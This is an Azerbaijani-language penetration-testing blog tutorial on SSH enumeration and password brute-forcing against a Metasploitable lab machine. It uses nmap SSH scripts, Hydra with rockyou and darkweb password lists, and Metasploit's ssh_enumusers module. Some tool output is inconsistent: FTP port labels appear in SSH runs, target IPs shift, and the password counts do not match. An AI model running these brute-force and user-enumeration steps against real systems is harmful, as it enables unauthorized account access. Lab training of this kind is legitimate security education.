Salam hər vaxtınız xeyir dəyərli oxucular, bu gün İrəli səviyyə Enumeration başlığı altında SSH protokulunun ətraflı bir Enumeration yerinə yetirəcəyik.Əvvəlcə nəzəri sonra isə Metasploitable maşının köməyi ilə əməliyyatları praktiki olaraq görəcəyik.
Telegram kanalına qoşularaq bu və digər mövzular üzrə quizlərdə iştirak edə bilərsiniz!
Telegram (Kanal): https://t.me/xakeraz_official
SSH -Secure Shell (Port 22)
Siz əvvəlki paylaşımlardan SSH protokolunun necə işlədiyi haqqında məlumat əldə etmisiniz.Əgər siz SSH protokolunda istifadə olunan public və private açarlarının nə olduğunu, bunların SSH protokolunda necə işlədiyini bilmirsinizsə, məsləhətdir ki həmin paylaşımı birdə oxuyasınız:
https://xaker.az/2025/02/07/pentesterin-gundeliyi-part-11-ssh-sifresiz-baglanti/: SSH Servisinin Ətraflı Enumeration EdilməsiSSH istismar (Exploit) üsulları
SSH serverindən müxtəlif növlərdə istifadə etmək olar.Əlbəttə bu servisi enumeration etmək üçün servisin necə exploit (istismar) edilə biləcəyi üsullarını bilməliyik və buna görə hərəkətə keçməliyik.Aşağıda SSH servsinin mümkün istismar (exploit) üsulları verilmişdir:
- İstifadəçi məlumatların brute force ilə ələ keçirilməsi
- public keyin hədəf sistemin authorized_keys faylına yerləşdirilməsi (yenədə sistemə bizim girişimiz olmalıdır.)
- SSH ilə digər hədəfə yönələ bilər.Yəni pivoting edə bilər.
- SSH servisinin versiyasına uyğun exploitin (istismar yolunun) tapılması
- Əgər ziyankar authorized_keys DSA alqoritmi ilə hashlənmiş (RSA ilə xeyr) açarları oxuya bilsə,public keydən istifadə edərək giriş əldə etməyə çalışmaq.
Əvvəlcə hər hansısa üsulla bizim id_rsa faylını oxuya bilməliyik məsələn web boşluq olan LFİ (Local File İnclusion) ilə biz id_rsa faylını əldə etdik və ziyankar şəxs aşağıdakı kommanda ilə bizim sistemimizə daxil ola bilər.
ssh -i (private key) user@ip
Nmap skriptləri ilə servisin irəli səviyyədə məlumatın toplanması
Metasploitable maşınındakı SSH servisinin məlumatlarını toplamaq üçün ilkin olaraq sürətli skan yerinə yetirək.
┌──(root㉿kali)-[~]
└─# nmap 192.168.10.35 -sV -sC -p22 -T4
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-23 21:05 +04
Nmap scan report for 192.168.10.35
Host is up (0.00054s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
MAC Address: 00:0C:29:C2:9C:86 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.52 seconds
Yuxarıda gördüyümüz sadəcə bir nəticə vardır və bu da servisin versiyasıdır.
Əldə etdiyimiz məlumat az olduğundan SSH barədə ətraflı məlumat əldə etmək üçün Nmap skriptlərinin hamsından istifadə edərək skanı yerinə yetirək.
└─# nmap 192.168.10.35 -sV --script=ssh* -p22 -T4
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
| ssh2-enum-algos:
| kex_algorithms: (4)
| diffie-hellman-group-exchange-sha256
| diffie-hellman-group-exchange-sha1
| diffie-hellman-group14-sha1
| diffie-hellman-group1-sha1
| server_host_key_algorithms: (2)
| ssh-rsa
| ssh-dss
| encryption_algorithms: (13)
| aes128-cbc
| 3des-cbc
| blowfish-cbc
| cast128-cbc
| arcfour128
| arcfour256
| arcfour
| aes192-cbc
| aes256-cbc
| [email protected]
| aes128-ctr
| aes192-ctr
| aes256-ctr
| mac_algorithms: (7)
| hmac-md5
| hmac-sha1
| [email protected]
| hmac-ripemd160
| [email protected]
| hmac-sha1-96
| hmac-md5-96
| compression_algorithms: (2)
| none
|_ [email protected]
| ssh-publickey-acceptance:
|_ Accepted Public Keys: No public keys accepted
|_ssh-run: Failed to specify credentials and command to run.
| ssh-auth-methods:
| Supported authentication methods:
| publickey
|_ password
| ssh-brute:
| Accounts:
| user:user - Valid credentials
|_ Statistics: Performed 378 guesses in 310 seconds, average tps: 1.4
MAC Address: 00:0C:29:C2:9C:86 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nəticədən görə bilirikki nmap skripləri ilə skan ilə bizə SSH servisinin doğru istifadəçi məlumatlarını göstərdi. Bunun nə qədər önəmli olduğunu yəqin başa düşürsünüz.
Hydra ilə SSH servisinə BruteForce hücumu
Hydra alətində FTP servisi ilə yanaşı SSH servisinin brute force hücumunu yerinə yetirmək üçündə istifadə edə bilərik. Bunun üçün elə FTP servisində istifadə etdiyimiz parametrləri daxil edəcəyik.
┌──(root㉿kali)-[~]
└─# hydra -t 4 -l user -P /usr/share/wordlists/rockyou.txt ssh://192.168.10.35
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-23 21:33:36
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 10 tasks per 1 server, overall 10 tasks, 14344400 login tries (l:1/p:14344400), ~1434440 tries per task
[DATA] attacking ftp://192.168.10.35:21/
[21][ssh] host: 192.168.10.35 login: user password: user
1 of 1 target successfully completed, 1 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-03-23 21:33:48
Gördüyünüz kimi buradan user: user istifadəçi məlumatlarını əldə etdik.Bu müəyyən qədər məlumata sahib olduğumuz ssenaridir.Aşağıda isə bruteforce hücumunu ətraflı olaraq metdologiyası üzrə yerinə yetirəcəyik.
Ətraflı olaraq BruteForce hücumu
Bu bruteforce hücumu texnikasını yerinə yetirmək üçün Metasploit-dən istifadə edəcəyik.Yuxarıdakı misal siz gördüyüz üzrə username məlumatımız var idi.Buna görə biz bunu bilmədiyimizi fərz edərək bu hücumu necə yetirəcəyimizi öyrənək.
İlk növbədə Metasploit alətindən istifadə edərək doğru olan istifadəçi məlumatlarını öyrənəcəyik və bu istifadəçi adları üzərindən bruteforce hücumunu yerinə yetirəcəyik.Metasploiti işə salmaq üçün msfconsole yazaraq işə başlayaq.
└─# msfconsole
Metasploit ekranı qarşınıza gəldikdən sonra aşağıdakı əməliyyatları ardıcılığı ilə yerinə yetiririk.
- ssh_enumusers modulundan istifadə edirik
- Metasploitable zəiflik olan maşını ip adresini təyin edirik.
- SSH servsinin portunu təyin edirik.
- İstifadəçi adları olan siyahının yolunu təyin edirik.
- Paralel olaraq neçə əməliyyatın yerinə yetirələcəyini (threads) seçirik.
- Nəhayət modulu işə salırıq.
msf6 > use auxiliary/scanner/ssh/ssh_enumusers
[*] Using action Malformed Packet - view all 2 actions with the show actions command
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 192.168.10.35
rhosts => 192.168.10.35
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set rport 22
rport => 22
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set user_file /usr/share/wordlists/metasploit/namelist.txt
user_file => /usr/share/wordlists/metasploit/namelist.txt
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set threads 25
threads => 25
msf6 auxiliary(scanner/ssh/ssh_enumusers) > run
msf6 auxiliary(scanner/ssh/ssh_enumusers) > run
[*] 192.168.10.36:22 - SSH - Using malformed packet technique
[*] 192.168.10.36:22 - SSH - Checking for false positives
[*] 192.168.10.36:22 - SSH - Starting scan
[+] 192.168.10.36:22 - SSH - User 'at' found
[+] 192.168.10.36:22 - SSH - User 'backup' found
[+] 192.168.10.36:22 - SSH - User 'user' found
[+] 192.168.10.36:22 - SSH - User 'services' found
Bu skan nəticəsində çoxlu sayda istifadəçi adlarını müəyyən etdik.Daha sonra biz bu adları users.txt faylında saxlarıq.
Aşağıda isə Hydra alətindən istifadə edərək bu users.txt faylını skan prosesinə daxil edirik və az şifrələrin olduğu siyahıdan istifadə edirik.Bundan əlavə əvvəl görmədiyimiz -e nsr parametrindən istifadə edirik.
- n – parolun boş olduğu (yəni təyin edilməməsini)
- s -parolun elə istifadəçi adı olduğunu bildirir. (user=pass)
- r – parol istifadəçi adının əksi olduğunu təyin edir (root=toor)
└─# hydra -t 10 -e nsr -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top100.txt ssh://192.168.10.36
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-23 21:33:36
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 10 tasks per 1 server, overall 10 tasks, 14344400 login tries (l:1/p:14344400), ~1434440 tries per task
[DATA] attacking ftp://192.168.10.35:21/
[22][ssh] host: 192.168.10.35 login: user password: user
[22][ssh] host: 192.168.10.35 login: backup password: user
1 of 1 target successfully completed, 10 valid passwords found
Ümidvaram faydalı olmuşdur.Təşəkkürlər! Bizi izləyin:
Telegram (Kanal): https://t.me/xakeraz_official
Telegram (Qrup): https://t.me/xakerazgroup
Telegram (Chat): https://t.me/xakerazchat